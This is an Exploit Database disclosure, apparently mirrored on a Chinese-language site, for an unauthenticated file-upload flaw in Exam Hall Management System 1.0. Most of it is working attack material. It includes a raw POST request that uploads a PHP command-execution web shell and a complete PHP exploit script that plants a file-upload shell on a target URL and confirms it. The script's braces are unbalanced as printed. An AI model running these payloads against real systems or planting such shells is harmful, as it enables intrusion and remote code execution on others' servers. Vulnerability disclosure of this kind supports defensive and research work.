Exam Hall Management System 1.0 – Unrestricted File Upload (Unauthenticated)

Exploit Database
107 阅读

作者： Thamer Almohammadi

日期： 2021-07-06
类别：
- webapps
平台：
- php
来源：https://www.exploit-db.com/exploits/50103/

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# Exploit Title: Exam Hall Management System 1.0 - Unrestricted File Upload (Unauthenticated)

# Date: 06/07/2021

# Exploit Author: Thamer Almohammadi (@Thamerz88)

# Vendor Homepage: https://www.sourcecodester.com

# Software Link: https://www.sourcecodester.com/php/14205/exam-hall-management-system-full-source-code-using-phpmysql.html

# Version: 1.0

# Tested on: Kali Linux

# Proof of Concept :

1- Send Request to /pages/save_user.php.

2- Find your shell.php file path and try any command.

################################## REQUEST ###############################

POST /pages/save_user.php HTTP/1.1

Host: localhost

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Content-Type: multipart/form-data; boundary=---------------------------3767690350396265302394702877

Content-Length: 369

-----------------------------3767690350396265302394702877

Content-Disposition: form-data; name="image"; filename="shell.php"

Content-Type: application/x-php

<?php

system($_GET['cmd']);

-----------------------------3767690350396265302394702877

Content-Disposition: form-data; name="btn_save"

-----------------------------3767690350396265302394702877--

################################## RESPONSE #############################

HTTP/1.1 200 OK

Date: Tue, 06 Jul 2021 02:16:18 GMT

Server: Apache/2.4.47 (Unix) OpenSSL/1.1.1k PHP/7.3.28 mod_perl/2.0.11 Perl/v5.32.1

X-Powered-By: PHP/7.3.28

Content-Length: 1529

Connection: close

Content-Type: text/html; charset=UTF-8

################################## Exploit #############################

<?php

// Coder By Thamer Almohammadi(@Thamerz88);

function exploit($scheme,$host,$path,$shell){

$url=$scheme."://".$host.$path;

$content='<form enctype="multipart/form-data" method="POST"><input type="hidden" name="MAX_FILE_SIZE" value="512000" />File To Upload : <input name="userfile" type="file" /><input type="submit" value="Upload"/></form><?php $uploaddir = getcwd ()."/";$uploadfile = $uploaddir . basename ($_FILES[\'userfile\'][\'name\']);if (move_uploaded_file ($_FILES[\'userfile\'][\'tmp_name\'], $uploadfile)){echo "File was successfully uploaded.</br>";}else{echo "Upload failed";}?>';

$data= "-----------------------------3767690350396265302394702877\r\n";

$data .= "Content-Disposition: form-data; name=\"image\"; filename=\"$shell\"\r\n";

$data .= "Content-Type: image/gif\r\n\r\n";

$data .= "$content\r\n";

$data .= "-----------------------------3767690350396265302394702877\r\n";

$data.= "-----------------------------3767690350396265302394702877\r\n";

$data .= "Content-Disposition: form-data; name=\"btn_save\"\r\n\r\n";

$data .= "\r\n";

$data .= "-----------------------------3767690350396265302394702877\r\n";

$packet = "POST $path/pages/save_user.php HTTP/1.0\r\n";

$packet .= "Host: $host\r\n";

$packet .= "User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:29.0) Gecko/20100101 Firefox/29.0\r\n";

$packet .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*\/*;q=0.8\r\n";

$packet .= "Accept-Language: en-us,en;q=0.5\r\n";

$packet .= "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\n";

$packet .= "Content-Type: multipart/form-data; boundary=---------------------------3767690350396265302394702877\r\n";

$packet .= "Content-Length: ".strlen ($data)."\r\n\r\n\r\n";

$packet .= $data;

$packet .= "\r\n";

send($host, $packet);

sleep(2);

check($url,$shell);

}

function send($host, $packet)

{

if ($connect = @fsockopen ($host, 80, $x, $y, 3))

{

@fputs ($connect, $packet);

@fclose ($connect);

}

function check($url,$shell){

$check=file_get_contents($url."/uploadImage/Profile/".$shell);

$preg=preg_match('/(File To Upload)/', $check, $output);

if($output[0] == "File To Upload"){

echo "[+] Upload shell successfully.. :D\n";

echo "[+] Link ". $url."/uploadImage/Profile/".$shell."\n";

}

else{ //Exploit Failed

echo "[-] Exploit Failed..\n";

}

$options=getopt("u:s:");

if(!isset($options['u'], $options['s']))

die("\n [+] Simple Exploiter Exam Hall Management System by T3ster \n [+] Usage : php exploit.php -u http://target.com -s shell.php\n

-u http://target.com = Target URL ..

-s shell.php = Shell Name ..\n\n");

$url=$options["u"];

$shell=$options["s"];

$parse=parse_url($url);

$host=$parse['host'];

$path=$parse['path'];

$scheme=$parse['scheme'];

exploit($scheme,$host,$path,$shell);